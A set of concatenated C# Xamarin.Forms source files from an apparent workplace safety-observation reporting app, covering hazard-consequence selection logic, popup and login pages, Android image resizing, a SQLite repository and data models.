BackgroundColorBioExposure = backgroundColor;
BioExposurelabelsColors = labelColors;
DisableAllButtons();
IsEnabledBioExposure = true;
consequence = consequence = AppResources.BioExposure;
selectedConsequence = selectedConsequences.SelectedConsequence;
BioExposureSource = Images.RadioCheckedImage;
IsThinBioExposureAttributes = false;
break;
case ConsequencesEnum.WorkingEnvironment:
SelectedWorkingEnv = selectedConsequences.SelectedConsequence;
BackgroundColorWorkingEnv = backgroundColor;
WorkingEnvlabelsColors = labelColors;
DisableAllButtons();
IsEnabledWorkingEnv = true;
consequence = consequence = AppResources.WorkingEnvironment;
selectedConsequence = selectedConsequences.SelectedConsequence;
WorkingEnvironmentSource = Images.RadioCheckedImage;
IsThinWorkingEnvironmentAttributes = false;
break;
case ConsequencesEnum.ChemicalExposure:
SelectedChemicalExposure = selectedConsequences.SelectedConsequence;
BackgroundColorChemicalExposure = backgroundColor;
ChemicalExposurelabelsColors = labelColors;
DisableAllButtons();
IsEnabledChemicalExposure = true;
consequence = consequence = AppResources.ChemicalExposure;
selectedConsequence = selectedConsequences.SelectedConsequence;
ChemicalExsposureSource = Images.RadioCheckedImage;
IsThinChemicalExsposureAttributes = false;
break;
case ConsequencesEnum.HotColdSubstance:
SelectedHotColdSubstance = selectedConsequences.SelectedConsequence;
BackgroundColorHotColdSubstance = backgroundColor;
HotColdSubstancelabelsColors = labelColors;
DisableAllButtons();
IsEnabledHotColdSubstance = true;
consequence = consequence = AppResources.HotColdSubstance;
selectedConsequence = selectedConsequences.SelectedConsequence;
HotColdSubstanceSource = Images.RadioCheckedImage;
IsThinHotColdSubstanceAttributes = false;
break;
case ConsequencesEnum.HotSurface:
SelectedHotSurface = selectedConsequences.SelectedConsequence;
BackgroundColorHHotSurface = backgroundColor;
HotSurfacelabelsColors = labelColors;
DisableAllButtons();
IsEnabledHotSurface = true;
consequence = consequence = AppResources.HotSurface;
selectedConsequence = selectedConsequences.SelectedConsequence;
HotSurfaceSource = Images.RadioCheckedImage;
IsThinHotSurfaceAttributes = false;
break;
default:
break;
}
if (selectedConsequences.Consequences == ConsequencesEnum.Ergonomy || selectedConsequences.Consequences == ConsequencesEnum.HotColdSubstance
|| selectedConsequences.Consequences == ConsequencesEnum.HotSurface)
{
return;
}
await PopupNavigation.Instance.PopAsync(true);
}
private void SelectConsequence(string consequence, string selectedConsequences)
{
var backgroundColor = AppSetting.Current.Colors.PotentialConsequencesSelectedColor;
var labelColors = AppSetting.Current.Colors.FontBlueColor;
SetInitialElements();
ResetSelectedITEMS();
switch (consequence)
{
case "Strip Trip Fails":
SelectedStripFall = selectedConsequences;
BackgroundColorStripFall = backgroundColor;
StripLabelsColors = labelColors;
DisableAllButtons();
IsEnabledStrip = true;
stripFallSourse = Images.RadioCheckedImage;
IsThinStripAttributes = false;
break;
case "Ergonomy":
SelectedErgonomy = selectedConsequences;
BackgroundColorErgonomy = backgroundColor;
ErgonomylabelsColors = labelColors;
DisableAllButtons();
IsEnabledErgonomy = true;
ErgonomySource = Images.RadioCheckedImage;
IsThinErgonomyAttributes = false;
break;
case "Machine Tools Sharp":
SelectedMachines = selectedConsequences;
BackgroundColorMachines = backgroundColor;
MachineslabelsColors = labelColors;
DisableAllButtons();
IsEnabledMachines = true;
MachinesSource = Images.RadioCheckedImage;
IsThinmachinesAttributes = false;
break;
case "Objects Foreign Body":
SelectedObjects = selectedConsequences;
BackgroundColorObjects = backgroundColor;
ObjectslabelsColors = labelColors;
DisableAllButtons();
IsEnabledObjects = true;
ObjectsSource = Images.RadioCheckedImage;
IsThinObjectsAttributes = false;
break;
case "Bio Exposure":
SelectedBioExposure = selectedConsequences;
BackgroundColorBioExposure = backgroundColor;
BioExposurelabelsColors = labelColors;
DisableAllButtons();
IsEnabledBioExposure = true;
BioExposureSource = Images.RadioCheckedImage;
IsThinBioExposureAttributes = false;
break;
case "Working Environment":
SelectedWorkingEnv = selectedConsequences;
BackgroundColorWorkingEnv = backgroundColor;
WorkingEnvlabelsColors = labelColors;
DisableAllButtons();
IsEnabledWorkingEnv = true;
WorkingEnvironmentSource = Images.RadioCheckedImage;
IsThinWorkingEnvironmentAttributes = false;
break;
case "Chemical Exposure":
SelectedChemicalExposure = selectedConsequences;
BackgroundColorChemicalExposure = backgroundColor;
ChemicalExposurelabelsColors = labelColors;
DisableAllButtons();
IsEnabledChemicalExposure = true;
ChemicalExsposureSource = Images.RadioCheckedImage;
IsThinChemicalExsposureAttributes = false;
break;
case "Hot/Cold Substance":
SelectedHotColdSubstance = selectedConsequences;
BackgroundColorHotColdSubstance = backgroundColor;
HotColdSubstancelabelsColors = labelColors;
DisableAllButtons();
IsEnabledHotColdSubstance = true;
HotColdSubstanceSource = Images.RadioCheckedImage;
IsThinHotColdSubstanceAttributes = false;
break;
case "Hot Surface":
SelectedHotSurface = selectedConsequences;
BackgroundColorHHotSurface = backgroundColor;
HotSurfacelabelsColors = labelColors;
DisableAllButtons();
IsEnabledHotSurface = true;
HotSurfaceSource = Images.RadioCheckedImage;
IsThinHotSurfaceAttributes = false;
break;
default:
break;
}
}
private void ResetSelectedITEMS()
{
SelectedStripFall = "";
SelectedObjects = "";
SelectedMachines = "";
SelectedErgonomy = "";
SelectedHotSurface = "";
SelectedWorkingEnv = "";
SelectedBioExposure = "";
SelectedHotColdSubstance = "";
SelectedChemicalExposure = "";
}
private void DisableAllButtons()
{
var enabled = false;
IsEnabledStrip = enabled;
IsEnabledErgonomy = enabled;
IsEnabledObjects = enabled;
IsEnabledMachines = enabled;
IsEnabledHotSurface = enabled;
IsEnabledWorkingEnv = enabled;
IsEnabledBioExposure = enabled;
IsEnabledChemicalExposure = enabled;
IsEnabledHotColdSubstance = enabled;
}
private async Task HandlePopUpClick(ConsequencesEnum param)
{
switch (param)
{
case ConsequencesEnum.StripTripFails:
await PopupNavigation.Instance.PushAsync(new ListViewPopUp(AppResources.StripTripFails, PickerSources.StripTrip, param));
break;
case ConsequencesEnum.Ergonomy:
var selectedErgoomy = new SelectedConsequences()
{
Consequences = ConsequencesEnum.Ergonomy,
SelectedConsequence = AppResources.Ergonomy
};
await GetSelecteditem(selectedErgoomy);
break;
case ConsequencesEnum.MachineToolsSharp:
await PopupNavigation.Instance.PushAsync(new ListViewPopUp(AppResources.MachineToolsSharp, PickerSources.MachineTools, param));
break;
case ConsequencesEnum.ObjectsForeignBody:
await PopupNavigation.Instance.PushAsync(new ListViewPopUp(AppResources.ObjectsForeignBody, PickerSources.ObjectsForeign, param));
break;
case ConsequencesEnum.BioExposure:
await PopupNavigation.Instance.PushAsync(new ListViewPopUp(AppResources.BioExposure, PickerSources.BioExsposure, param));
break;
case ConsequencesEnum.WorkingEnvironment:
await PopupNavigation.Instance.PushAsync(new ListViewPopUp(AppResources.WorkingEnvironment, PickerSources.WorkingEnvironment, param));
break;
case ConsequencesEnum.ChemicalExposure:
await PopupNavigation.Instance.PushAsync(new ListViewPopUp(AppResources.ChemicalExposure, PickerSources.ChemicalExsposure, param));
break;
case ConsequencesEnum.HotColdSubstance:
var selectedHotCold = new SelectedConsequences()
{
Consequences = ConsequencesEnum.HotColdSubstance,
SelectedConsequence = AppResources.HotColdSubstance
};
await GetSelecteditem(selectedHotCold);
break;
case ConsequencesEnum.HotSurface:
var selectedHot = new SelectedConsequences()
{
Consequences = ConsequencesEnum.HotSurface,
SelectedConsequence = AppResources.HotSurface
};
await GetSelecteditem(selectedHot);
break;
default:
break;
}
}
}
}
<file_sep>using Xamarin.Forms;
namespace XFBase.CustomUI
{
public class CustomContentView : ContentView
{
protected double ScreenWidth { get; private set; }
protected double ScreenHeight { get; private set; }
public CustomContentView()
{
this.ScreenWidth = XFAppBase.ScreenSize.Width;
this.ScreenHeight = XFAppBase.ScreenSize.Height;
}
}
}<file_sep>using System;
using GSK_Saftey.Helpers.PlatformServices.Images;
using System.IO;
using Android.Graphics;
using Xamarin.Forms;
using GSK_Saftey.Droid.PlatformServicesAndroid.Images;
using System.Threading.Tasks;
using Android.Content;
[assembly: Dependency(typeof(ResizeImageService))]
namespace GSK_Saftey.Droid.PlatformServicesAndroid.Images
{
public class ResizeImageService : IResizeImage
{
/// <summary>
/// Compresses the image.
/// </summary>
/// <returns>The image.</returns>
/// <param name="imageData">Image byte array.</param>
/// <param name="quality">Desired quality from 0 to 100.</param>
public byte[] CompressImage(byte[] imageData, int quality)
{
// Load the bitmap
BitmapFactory.Options options = new BitmapFactory.Options();// Create object of bitmapfactory's option method for further option use
options.InPurgeable = true; // inPurgeable is used to free up memory while required
Bitmap originalImage = BitmapFactory.DecodeByteArray(imageData, 0, imageData.Length, options);
using (MemoryStream ms = new MemoryStream())
{
originalImage.Compress(Bitmap.CompressFormat.Jpeg, quality, ms);
originalImage.Recycle();
return ms.ToArray();
}
}
/// <summary>
/// Gets the image properties.
/// </summary>
/// <returns>The image data.</returns>
/// <param name="imageData">Image byte array.</param>
public ImageData GetImageData(byte[] imageData)
{
// Load the bitmap
BitmapFactory.Options options = new BitmapFactory.Options();// Create object of bitmapfactory's option method for further option use
options.InPurgeable = true; // inPurgeable is used to free up memory while required
Bitmap originalImage = BitmapFactory.DecodeByteArray(imageData, 0, imageData.Length, options);
var result = new ImageData()
{
Width = originalImage.Width,
Height = originalImage.Height,
Size = imageData.Length / 1024,
};
originalImage.Recycle();
return result;
}
public Task<ImageData> GetImageDataAsyncUWP(byte[] imageData)
{
throw new NotImplementedException();
}
/// <summary>
/// Resizes and compresses the image.
/// </summary>
/// <returns>The resized image byte array.</returns>
/// <param name="imageData">Image byte array.</param>
/// <param name="width">Desired width.</param>
/// <param name="height">Desired height.</param>
/// <param name="quality">Desired quality from 0 do 100.</param>
public byte[] ResizeImage(byte[] imageData, float width, float height, int quality)
{
// Load the bitmap
BitmapFactory.Options options = new BitmapFactory.Options();// Create object of bitmapfactory's option method for further option use
options.InPurgeable = true; // inPurgeable is used to free up memory while required
Bitmap originalImage = BitmapFactory.DecodeByteArray(imageData, 0, imageData.Length, options);
float newHeight = 0;
float newWidth = 0;
var originalHeight = originalImage.Height;
var originalWidth = originalImage.Width;
if (originalHeight > originalWidth)
{
newHeight = height;
float ratio = originalHeight / height;
newWidth = originalWidth / ratio;
}
else
{
newWidth = width;
float ratio = originalWidth / width;
newHeight = originalHeight / ratio;
}
Bitmap resizedImage = Bitmap.CreateScaledBitmap(originalImage, (int)newWidth, (int)newHeight, true);
originalImage.Recycle();
using (MemoryStream ms = new MemoryStream())
{
resizedImage.Compress(Bitmap.CompressFormat.Jpeg, quality, ms);
resizedImage.Recycle();
return ms.ToArray();
}
}
public Task<byte[]> ResizeImageUWP(byte[] imageData, float width, float height, int quality)
{
throw new NotImplementedException();
}
}
}
<file_sep>using System;
namespace GSK_Saftey.Settings.Configs
{
public class SAMLConfigorations
{
public string AppName { get; set; } = "";
// OAuth
// For Google login, configure at https://console.developers.google.com/
public string ClientId { get; set; } = "";
// These values do not need changing
public string Scope { get; set; } = "";
public string AuthorizeUrl { get; set; } = "";
public string AccessTokenUrl { get; set; } = "";
public string UserInfoUrl { get; set; } = "";
// Set these to reversed iOS/Android client ids, with :/oauth2redirect appended
public string RedirectUrl { get; set; } = "";
public string ClientSecret { get; set; } = "";
}
}
<file_sep>using System;
using GSK_Saftey.Enums;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.MessageHubMessages;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Rg.Plugins.Popup.Pages;
using Rg.Plugins.Popup.Services;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages.PopUps
{
public class ImagesPopUp : PopupPage
{
public ImagesPopUp()
{
Init();
}
private void Init()
{
this.Padding = new Thickness(App.ScreenSize.Width * 0.090, App.ScreenSize.Height * 0.320, App.ScreenSize.Width * 0.090, App.ScreenSize.Height * 0.320);
var gridMain = CreateGridLayout();
var buttonTakePhoto = CreateButton(AppResources.TakePhoto.ToUpper());
var buttonChoosePhoto = CreateButton(AppResources.ChoosePhoto.ToUpper());
buttonChoosePhoto.VerticalOptions = LayoutOptions.Start;
var buttonClose = CreateButton();
var frame = CreateFrame();
gridMain.Children.Add(frame, 0, 3, 0, 2);
gridMain.Children.Add(buttonTakePhoto, 1, 2, 0, 1);
gridMain.Children.Add(buttonChoosePhoto, 1, 2, 1, 2);
gridMain.Children.Add(buttonClose, 2, 3, 0, 1);
buttonClose.Clicked += ButtonClose_Clicked1;
buttonTakePhoto.Clicked += ButtonTakePhoto_Clicked;
buttonChoosePhoto.Clicked += ButtonChoosePhoto_Clicked;
this.Content = gridMain;
}
void ButtonChoosePhoto_Clicked(object sender, EventArgs e)
{
App.MessageHub.SendWithParameter(Messages.UploadImage, ImagesEnum.ChoosePhoto);
}
void ButtonTakePhoto_Clicked(object sender, EventArgs e)
{
App.MessageHub.SendWithParameter(Messages.UploadImage,ImagesEnum.TakePhoto);
}
void ButtonClose_Clicked1(object sender, EventArgs e)
{
PopupNavigation.Instance.PopAsync(true);
}
private CustomButton CreateButton()
{
var button = new CustomButton
{
Image = Images.CancelImage,
BackgroundColor = Color.Transparent,
HorizontalOptions = LayoutOptions.End,
VerticalOptions = LayoutOptions.Start,
WidthRequest = App.ScreenSize.Width * 0.050,
HeightRequest = App.ScreenSize.Width * 0.050,
Margin = new Thickness(0, 10, 10, 0)
};
return button;
}
private BoxView CreateFrame()
{
var frame = new BoxView
{
CornerRadius = 10,
HorizontalOptions = LayoutOptions.FillAndExpand,
VerticalOptions = LayoutOptions.FillAndExpand,
BackgroundColor = AppSetting.Current.Colors.AttentionPopUpBackgroundColor,
};
return frame;
}
private CustomButton CreateButton(string text)
{
var btn = new CustomButton
{
Text = text,
BackgroundColor = AppSetting.Current.Colors.OrangeColor,
FontSize = AppSetting.Current.FontSize.Medium + 2,
FontAttributes = FontAttributes.Bold,
TextColor = AppSetting.Current.Colors.WhiteColor,
HorizontalOptions = LayoutOptions.FillAndExpand,
VerticalOptions = LayoutOptions.End
};
return btn;
}
private CustomGrid CreateGridLayout()
{
var gridLocal = new CustomGrid
{
RowSpacing = 10,
HorizontalOptions = LayoutOptions.CenterAndExpand,
VerticalOptions = LayoutOptions.CenterAndExpand,
RowDefinitions = {
new RowDefinition { Height = App.ScreenSize.Height * 0.120 },
new RowDefinition { Height = App.ScreenSize.Height * 0.120 },
},
ColumnDefinitions = {
new ColumnDefinition { Width = App.ScreenSize.Width * 0.100 },
new ColumnDefinition { Width = App.ScreenSize.Width * 0.620 },
new ColumnDefinition { Width = App.ScreenSize.Width * 0.100 },
},
};
return gridLocal;
}
}
}
<file_sep>using System;
namespace GSK_Saftey.MessageHubMessages
{
public static class Messages
{
public const string LogOut = "LogOut";
public const string LanguageChanged = "LanguageChanged";
public const string Consequences = "Consequences";
public const string UploadImage = "UploadImage";
}
}
<file_sep>using System;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages.CustomControl
{
public class RoundedView : CustomContentView
{
public BoxView frame;
public RoundedView(View view)
{
frame = new BoxView()
{
CornerRadius = 10,
BackgroundColor = Color.Silver,
HorizontalOptions = LayoutOptions.FillAndExpand,
VerticalOptions = LayoutOptions.FillAndExpand,
};
var gridMain = CreateGrid();
gridMain.Children.Add(frame, 0, 1, 0, 1);
gridMain.Children.Add(view, 0, 1, 0, 1);
Content = gridMain;
}
private CustomGrid CreateGrid()
{
var grid = new CustomGrid()
{
RowDefinitions = {
new RowDefinition { Height = new GridLength(1, GridUnitType.Auto) },
},
ColumnDefinitions = {
new ColumnDefinition { Width = new GridLength(1, GridUnitType.Auto) },
}
};
return grid;
}
}
}
<file_sep>using System;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Pages.ContentViews;
using GSK_Saftey.Pages.CustomControl;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages
{
public class ProposeActionPage : BasePage
{
CustomLabel labelProposeAction;
CustomEditor editorProposeAction;
CustomImageButton buttonImageNext;
StepBarView stepBar;
SaveCancelView saveCancelView;
CustomStackLayout stackMain, stackProposeAction;
CustomScrollView scrollView;
private int currentStep = 3;
private ProposeActionPageViewModel ViewModel
{
get => BindingContext as ProposeActionPageViewModel;
set => BindingContext = value;
}
public ProposeActionPage(ProposeActionPageViewModel viewModel)
{
this.ViewModel = viewModel;
this.Title = AppResources.ProposeAction;
Init();
}
private void Init()
{
#region Declarations
// Labels
labelProposeAction = CreateLabel(AppResources.DoYouHaveAnyActionToPropose, AppSetting.Current.Colors.GrayColor, AppSetting.Current.FontSize.Medium);
labelProposeAction.Margin = new Thickness(8, 0, 0, 0);
// Editors
editorProposeAction = CreateEditor();
var roundedEditorProposeAction = new RoundedView(editorProposeAction);
roundedEditorProposeAction.frame.BackgroundColor = AppSetting.Current.Colors.EntryBackroundColor;
roundedEditorProposeAction.frame.CornerRadius = 5;
// Buttons
buttonImageNext = CreateImageButton(AppResources.Next, Images.NextImage, AppSetting.Current.Colors.WhiteColor, AppSetting.Current.FontSize.Large, AppSetting.Current.Colors.OrangeColor, true);
buttonImageNext.button.HeightRequest = ScreenHeight * 0.065;
buttonImageNext.button.WidthRequest = ScreenWidth * 0.800;
buttonImageNext.image.HeightRequest = ScreenHeight * 0.040;
buttonImageNext.image.WidthRequest = ScreenHeight * 0.040;
// StepBar
stepBar = new StepBarView(currentStep);
stepBar.Margin = new Thickness(0, ScreenHeight * 0.050, 0, 0);
// Layouts
saveCancelView = new SaveCancelView();
stackProposeAction = new CustomStackLayout();
stackProposeAction.Spacing = 5;
stackProposeAction.WidthRequest = ScreenWidth * 0.740;
stackProposeAction.HorizontalOptions = LayoutOptions.Center;
stackProposeAction.Margin = new Thickness(0, ScreenHeight * 0.050, 0, ScreenHeight * 0.050);
stackMain = new CustomStackLayout();
stackMain.Spacing = ScreenHeight * 0.050;
scrollView = new CustomScrollView();
scrollView.WidthRequest = ScreenWidth * 0.800;
scrollView.HorizontalOptions = LayoutOptions.Center;
#endregion
#region Bindings
editorProposeAction.SetBinding(Editor.TextProperty, nameof(ViewModel.TextProposeAction));
buttonImageNext.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonNextCommand));
saveCancelView.saveImageButton.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonSaveCommand));
#endregion
#region Fill Layouts
stackProposeAction.Children.Add(labelProposeAction);
stackProposeAction.Children.Add(roundedEditorProposeAction);
stackMain.Children.Add(stepBar);
stackMain.Children.Add(stackProposeAction);
stackMain.Children.Add(buttonImageNext);
stackMain.Children.Add(saveCancelView);
scrollView.Content = stackMain;
this.Content = scrollView;
#endregion
}
protected override CustomButton CreateButton(string text)
{
var btn = base.CreateButton(text);
btn.FontSize = AppSetting.Current.FontSize.Large;
btn.BackgroundColor = AppSetting.Current.Colors.OrangeColor;
btn.TextColor = AppSetting.Current.Colors.WhiteColor;
btn.FontAttributes = FontAttributes.Bold;
btn.HeightRequest = ScreenHeight * 0.065;
return btn;
}
private CustomEditor CreateEditor()
{
var editor = new CustomEditor();
editor.FontSize = AppSetting.Current.FontSize.Medium;
editor.Placeholder = AppResources.YourTextHere;
editor.WidthRequest = ScreenWidth * 0.725;
editor.HeightRequest = ScreenHeight * 0.400;
editor.BackgroundColor = Color.Transparent;
editor.PlaceholderColor = AppSetting.Current.Colors.FontBlueColor;
editor.TextColor = AppSetting.Current.Colors.FontBlueColor;
editor.Margin = new Thickness(5, 0, 0, 0);
return editor;
}
protected override CustomLabel CreateLabel(string text, Color textColor, double? fontSize)
{
var lbl = base.CreateLabel(text, textColor, fontSize);
lbl.FontSize = AppSetting.Current.FontSize.Small;
lbl.TextColor = AppSetting.Current.Colors.LabelsColors;
return lbl;
}
}
}
<file_sep>using System;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Helpers.CustomControls
{
public class CustomLabel : XFCustomLabel
{
public static readonly BindableProperty IsThinProperty =
BindableProperty.Create("IsThinProperty", typeof(bool), typeof(CustomLabel), false);
public bool IsThin
{
get { return (bool)GetValue(IsThinProperty); }
set { SetValue(IsThinProperty, value); }
}
private bool istwoLines;
public bool IsTwoLines
{
get
{
return istwoLines;
}
set
{
istwoLines = value;
OnPropertyChanged();
}
}
public CustomLabel()
{
}
}
}
<file_sep>using System;
using Xamarin.Forms;
namespace XFBase.Messages
{
public class MessageHub
{
public void Subscribe(string message, Action<MessageHub> callback)
{
MessagingCenter.Subscribe<MessageHub>(this, message, callback);
}
public void SubscribeWithParameter(string message, Action<MessageHub, object> callback)
{
MessagingCenter.Subscribe<MessageHub, object>(this, message, callback);
}
public void Send(string message)
{
MessagingCenter.Send<MessageHub>(this, message);
}
public void SendWithParameter(string message, object parameter)
{
MessagingCenter.Send<MessageHub, object>(this, message, parameter);
}
public void Unsubscribe(string message)
{
MessagingCenter.Unsubscribe<MessageHub>(this, message);
}
public void UnsubscribeWithParameter(string message)
{
MessagingCenter.Unsubscribe<MessageHub, object>(this, message);
}
}
}
<file_sep>using System;
using XFBase.CustomUI.BasicControls;
namespace GSK_Saftey.Helpers.CustomControls
{
public class CustomDatePicker : XFCustomDatePicker
{
private bool isthin;
/// <summary>
/// Gets or Sets Roboto - Thin font style.
/// </summary>
public bool IsThin
{
get
{
return isthin;
}
set
{
isthin = value;
OnPropertyChanged();
}
}
public CustomDatePicker()
{
HeightRequest = App.ScreenSize.Height * 0.065;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using GSK_Saftey.Resources;
namespace GSK_Saftey.Settings.Constants
{
public static class PickerSources
{
public static readonly List<string> StripTrip = new List<string> { AppResources.HigherLevel, AppResources.SameLevel, AppResources.StairsSteps };
public static readonly List<string> MachineTools = new List<string> { AppResources.CoughtInBetween, AppResources.ContactWithSharp, AppResources.StrikingAgains };
public static readonly List<string> ObjectsForeign = new List<string> { AppResources.HitByMoving, AppResources.StrikingAgains };
public static readonly List<string> BioExsposure = new List<string> { AppResources.Animal, AppResources.Insect, AppResources.Substance };
public static readonly List<string> WorkingEnvironment = new List<string> { AppResources.ElectricytyFire, AppResources.NoiseVibration, AppResources.Weather };
public static readonly List<string> ChemicalExsposure = new List<string> { AppResources.CorosiveFlammable, AppResources.IrritantOrAllergen };
public static readonly List<string> SafetyObservations = new List<string>
{
AppResources.NonCoplianceWithProcedure,
AppResources.PPENotWordn,
AppResources.SafetyDevicePutOutOfOrder,
AppResources.HasteDefectOfAttention,
AppResources.LossOfControlNonControlled,
AppResources.BehaviouralOther,
AppResources.InadequateWorkOrganization,
AppResources.WorkInstructionNotDefined,
AppResources.LackOfTrainingOrCompetecies,
AppResources.PPENotAvailable,
AppResources.PhysicalOrMentalStress,
AppResources.OrganizationOther,
AppResources.PPENotAdequate,
AppResources.DefectEquipment,
AppResources.DesignInadequate,
AppResources.SafetyDeviceInadequate,
AppResources.SafetyDeviceDefect,
AppResources.ErgonomicsOfWorkArea,
AppResources.TechnicalOther
};
}
}
<file_sep>using System;
using Android.Content;
using Xamarin.Forms.Platform.Android;
namespace GSK_Saftey.Droid.CustomRenderers
{
public class CustomListViewRenderer : ListViewRenderer
{
public CustomListViewRenderer(Context context) : base(context)
{
}
}
}
<file_sep>using SQLite;
using System;
using System.Collections.Generic;
using System.Linq;
using Xamarin.Forms;
namespace XFBase.SQLite.Repository
{
public class Repository : IRepository
{
public SQLiteConnection _sqliteConnection;
public Repository()
{
_sqliteConnection = DependencyService.Get<ISQLiteConnection>().GetConnection();
}
public void Add<T>(T entity) where T : class
{
_sqliteConnection.Insert(entity);
}
public void AddAll<T>(List<T> entities) where T : class
{
_sqliteConnection.InsertAll(entities);
}
public List<T> GetAllData<T>() where T : class, new()
{
return (from t in _sqliteConnection.Table<T>() select t).ToList();
}
public void Update<T>(T entity) where T : class
{
_sqliteConnection.Update(entity);
}
public void UpdateAll<T>(List<T> enteties) where T : class
{
_sqliteConnection.UpdateAll(enteties);
}
public void CreateTableLocal<T>() where T : class
{
_sqliteConnection.CreateTable<T>();
}
public void Delete<T>(T entity) where T : class
{
_sqliteConnection.Delete(entity);
}
public void DeleteAll<T>() where T : class
{
_sqliteConnection.DeleteAll<T>();
}
public TableMapping GetMapping<T>() where T : class
{
return _sqliteConnection.GetMapping<T>();
}
public List<object> QueryAll<T>(string query, List<object> parameters) where T : class
{
return _sqliteConnection.Query(GetMapping<T>(), query, parameters).ToList();
}
public IEnumerable<T> GetAllSearchedByLinq<T>(Func<T, bool> expression) where T : class, new()
{
return _sqliteConnection.Table<T>().Where(expression);
}
public T GetItemSearchedByLinq<T>(Func<T, bool> expression) where T : class, new()
{
return _sqliteConnection.Table<T>().FirstOrDefault(expression);
}
//Func<PositionViewModel, bool> expression = vm => (vm.Position != null && vm.Position.ToUpper().Contains(searchString)) || (vm.PersonName != null);
//public void InserOrUpdate(List<UserContactDetails> objects)
//{
// var time = DateTime.Now.TimeOfDay;
// _sqliteConnection.BeginTransaction();
// var cms = _sqliteConnection.CreateCommand("", "");
// foreach (var item in objects)
// {
// cms.CommandText = $"INSERT INTO UserContactDetails (Email, Name) VALUES ('{item.Email}', '{item.Name}')";
// cms.ExecuteNonQuery();
// }
// _sqliteConnection.Commit();
// var endTime = DateTime.Now.TimeOfDay;
// var result = endTime - time;
//}
}
}
<file_sep>using System;
using SQLite;
namespace GSK_Saftey.Helpers.SQLite.SQLiteModels
{
public class SafetyObservation
{
[PrimaryKey]
[AutoIncrement]
public int ID { get; set; }
public string ObservationID { get; set; }
public string Title { get; set; }
public DateTime Date { get; set; }
public DateTime Time { get; set; }
public string TimeZone { get; set; }
public string LocationID { get; set; }
public string WitnessId { get; set; }
public string WitnessName { get; set; }
public string ReportingPersonId { get; set; }
public string ReportingPersonName { get; set; }
public string Description { get; set; }
public string Actions { get; set; }
public string ImmediateAction { get; set; }
public int OriginOfEvent { get; set; }
public string Severity { get; set; }
public string Likehood { get; set; }
public string Situation { get; set; }
public string FirstImageSource { get; set; }
public string SecondImageSource { get; set; }
public bool ImmediateClosure { get; set; }
public bool AdministrativeAreaOrSiteFacilities { get; set; }
}
}
<file_sep>using System;
using FFImageLoading.Forms;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Pages.CustomControl;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages
{
public class LoginPage : BasePage
{
public LoginPageViewModel ViewModel
{
get => BindingContext as LoginPageViewModel;
set => BindingContext = value;
}
public LoginPage(LoginPageViewModel viewModel)
{
ViewModel = viewModel;
Init();
}
private void Init()
{
Title = AppResources.Log_In;
//Button
var buttonLogin = CreateImageButton(AppResources.Enter, Images.EnterImage, AppSetting.Current.Colors.WhiteColor, AppSetting.Current.FontSize.Large, AppSetting.Current.Colors.OrangeColor, true);
buttonLogin.image.HeightRequest = ScreenHeight * 0.050;
buttonLogin.image.WidthRequest = ScreenHeight * 0.050;
//Image
var imagelogo = Createimage(Images.LogoImage);
imagelogo.Margin = new Thickness(0, ScreenHeight * 0.200, 0, ScreenHeight * 0.050);
//Layout
var stackMain = CreateStackLayout();
// Labels
var labelReportSafety = CreateLabel(AppResources.Report_Safety_Observation, AppSetting.Current.Colors.FontBlueColor, AppSetting.Current.FontSize.Large);
labelReportSafety.HorizontalOptions = LayoutOptions.Center;
var stringByGsk = AppResources.ByGsk.Split(' ');
var fs = new FormattedString();
fs.Spans.Add(new Span{Text = $"{stringByGsk[0]} ", FontSize = AppSetting.Current.FontSize.Large, TextColor = AppSetting.Current.Colors.FontBlueColor});
fs.Spans.Add(new Span { Text = $"{stringByGsk[1]}", FontSize = AppSetting.Current.FontSize.Large, TextColor = AppSetting.Current.Colors.FontBlueColor, FontAttributes = FontAttributes.Bold });
var labelByGsk = new Label();
labelByGsk.HorizontalOptions = LayoutOptions.Center;
labelByGsk.FormattedText = fs;
//Bindings
buttonLogin.button.SetBinding(Button.CommandProperty, nameof(ViewModel.LoginCommand));
buttonLogin.Margin = new Thickness(0, ScreenHeight * 0.200, 0, ScreenHeight * 0.200);
//Fill Layout
stackMain.Children.Add(imagelogo);
stackMain.Children.Add(labelReportSafety);
stackMain.Children.Add(labelByGsk);
stackMain.Children.Add(buttonLogin);
Content = stackMain;
}
//Create Controls
private CustomStackLayout CreateStackLayout()
{
var stkLayout = new CustomStackLayout()
{
WidthRequest = ScreenWidth * 0.800,
HorizontalOptions = LayoutOptions.CenterAndExpand,
Spacing = 2,
};
return stkLayout;
}
private CachedImage Createimage(string source)
{
var image = new CachedImage
{
Source = source,
WidthRequest = ScreenWidth * 0.150,
HeightRequest = ScreenWidth * 0.150,
Margin = new Thickness(0, ScreenHeight * 0.060, 0, ScreenHeight * 0.090),
HorizontalOptions = LayoutOptions.Center,
VerticalOptions = LayoutOptions.Center,
};
return image;
}
protected override CustomImageButton CreateImageButton(string text, string imageSource, Color textColor, double fontSize, Color backgroundColor, bool isCentered = false)
{
var btn = base.CreateImageButton(text, imageSource, textColor, fontSize, backgroundColor, isCentered);
btn.button.HeightRequest = ScreenHeight * 0.065;
btn.button.WidthRequest = ScreenWidth * 0.800;
return btn;
}
}
}
<file_sep>using Xamarin.Forms;
using XFBase.Messages;
using XFBase.SQLite.Repository;
namespace XFBase
{
public abstract class XFAppBase : Application
{
public static MessageHub MessageHub = new MessageHub();
public static Size ScreenSize { get; set; }
public static Repository RepositorySqLite = new Repository();
}
}
<file_sep>using System;
namespace GSK_Saftey.Enums
{
public enum RiskMatrixBorderEnum
{
Rare,
Unikely,
Possible,
Likely,
AlmostCertain,
Insignificant,
Minor,
Moderate,
Major,
Catastrophic
}
}
<file_sep>using System;
